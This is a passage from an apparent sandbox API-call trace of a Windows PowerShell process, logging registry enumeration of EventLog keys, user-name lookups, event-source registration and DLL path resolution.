phkResult=0x14e6f8*=0x364) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x324, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x368) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x36c) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6f8 | out: phkResult=0x14e6f8*=0x370) returned 0x0 [0062.898] RegCloseKey (hKey=0x370) returned 0x0 [0062.898] RegCloseKey (hKey=0x324) returned 0x0 [0062.898] RegCloseKey (hKey=0x36c) returned 0x0 [0062.907] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0062.908] GetLastError () returned 0x3 [0062.909] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0062.951] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6ac | out: phkResult=0x14e6ac*=0x324) returned 0x0 [0062.951] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e714, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e710, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e714*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e710*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.951] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x0, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.951] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x1, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x2, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x3, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x4, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x5, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x6, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x7, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.952] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x8, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.953] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x370) returned 0x0 [0062.953] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.953] RegOpenKeyExW (in: hKey=0x324, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x374) returned 0x0 [0062.953] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.953] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x378) returned 0x0 [0062.953] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.954] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x37c) returned 0x0 [0062.954] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.954] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x380) returned 0x0 [0062.954] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.954] RegOpenKeyExW (in: hKey=0x324, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x384) returned 0x0 [0062.954] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.955] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x388) returned 0x0 [0062.955] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.955] RegOpenKeyExW (in: hKey=0x324, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x38c) returned 0x0 [0062.955] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.955] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x390) returned 0x0 [0062.955] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x394) returned 0x0 [0062.955] RegCloseKey (hKey=0x394) returned 0x0 [0062.956] RegCloseKey (hKey=0x324) returned 0x0 [0062.956] RegCloseKey (hKey=0x390) returned 0x0 [0062.956] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6ac | out: phkResult=0x14e6ac*=0x390) returned 0x0 [0062.956] RegQueryInfoKeyW (in: hKey=0x390, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e714, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e710, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e714*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e710*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.956] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x0, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.956] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x1, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.956] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x2, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.956] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x3, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x4, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x5, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x6, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x7, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x8, lpName=0x257278, lpcchName=0x14e730, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x14e730, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.957] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x324) returned 0x0 [0062.958] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.958] RegOpenKeyExW (in: hKey=0x390, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x394) returned 0x0 [0062.958] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.958] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x398) returned 0x0 [0062.958] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.958] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x39c) returned 0x0 [0062.958] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.959] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3a0) returned 0x0 [0062.959] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.959] RegOpenKeyExW (in: hKey=0x390, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3a4) returned 0x0 [0062.959] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.959] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3a8) returned 0x0 [0062.960] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.960] RegOpenKeyExW (in: hKey=0x390, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3ac) returned 0x0 [0062.960] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x0) returned 0x2 [0062.960] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3b0) returned 0x0 [0062.960] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6dc | out: phkResult=0x14e6dc*=0x3b4) returned 0x0 [0062.960] RegCloseKey (hKey=0x3b4) returned 0x0 [0062.960] RegCloseKey (hKey=0x390) returned 0x0 [0062.961] RegCloseKey (hKey=0x3b0) returned 0x0 [0062.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6a0 | out: phkResult=0x14e6a0*=0x3b0) returned 0x0 [0062.961] RegQueryInfoKeyW (in: hKey=0x3b0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x14e708, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e704, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x14e708*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x14e704*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.961] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x0, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.961] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x1, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x2, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x3, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x4, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x5, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x6, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x7, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x8, lpName=0x257278, lpcchName=0x14e724, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x14e724, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.962] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x390) returned 0x0 [0062.962] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.962] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3b4) returned 0x0 [0062.962] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.962] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3b8) returned 0x0 [0062.963] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.963] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3bc) returned 0x0 [0062.963] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.963] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3c0) returned 0x0 [0062.963] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.963] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3c4) returned 0x0 [0062.963] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.963] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3c8) returned 0x0 [0062.964] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.964] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3cc) returned 0x0 [0062.964] RegOpenKeyExW (in: hKey=0x3cc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x0) returned 0x2 [0062.964] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3d0) returned 0x0 [0062.964] RegOpenKeyExW (in: hKey=0x3d0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e6d0 | out: phkResult=0x14e6d0*=0x3d4) returned 0x0 [0062.964] RegCloseKey (hKey=0x3d4) returned 0x0 [0062.964] RegCloseKey (hKey=0x3b0) returned 0x0 [0062.964] RegCloseKey (hKey=0x3d0) returned 0x0 [0062.969] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4e90004 [0062.972] GetLastError () returned 0x0 [0062.972] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3327c8c*="WSMan", lpRawData=0x3327b34) returned 1 [0062.983] GetLastError () returned 0x0 [0062.998] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.998] GetLastError () returned 0xcb [0062.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e244, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.998] GetLastError () returned 0xcb [0062.998] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.999] GetLastError () returned 0xcb [0062.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.999] GetLastError () returned 0xcb [0063.002] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.002] GetLastError () returned 0xcb [0063.002] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.003] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x332bb68*="Alias", lpRawData=0x332ba24) returned 1 [0063.003] GetLastError () returned 0x0 [0063.004] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.004] GetLastError () returned 0xcb [0063.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e244, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.004] GetLastError () returned 0xcb [0063.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.005] GetLastError () returned 0xcb [0063.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.005] GetLastError () returned 0xcb [0063.005] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.005] GetLastError () returned 0xcb [0063.005] GetUserNameW (in: lpBuffer=0x257278, 